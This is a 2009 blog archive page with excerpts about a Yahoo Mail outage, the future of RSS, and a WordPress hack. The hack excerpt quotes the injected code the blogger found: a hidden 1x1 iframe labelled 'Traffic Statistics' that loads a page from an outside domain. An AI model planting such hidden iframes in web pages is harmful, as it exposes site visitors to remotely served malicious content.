From the monthly archives:

September 2009

annoying html injection in wordpress

September 13, 2009

two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows: <!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –> I only became aware of it when Google flagged my archives for that month as [...]

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First gmail, now Yahoo mail is down

September 3, 2009

good grief, it looks like it’s Yahoo Mail’s turn to go down in flames: I’m sure they will have service restored soon. But it’s particularly more galling given that 1. I snarkily defended Yahoo Mail during the gmail outage (oh, karma!) and 2. unlike gmail, I’m a paying customer for Yahoo’s Plus service (no ads, [...]

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RSS is dead; long live RSS!

September 1, 2009

I was quite perplexed to see this article at ZDNet on techmeme, arguing that RSS is a failure. Now, I’ve been relying less and less on Google Reader myself as a source of news as well, but that’s not because of a failure in RSS technology but rather the obsolesence of Google Reader in the [...]

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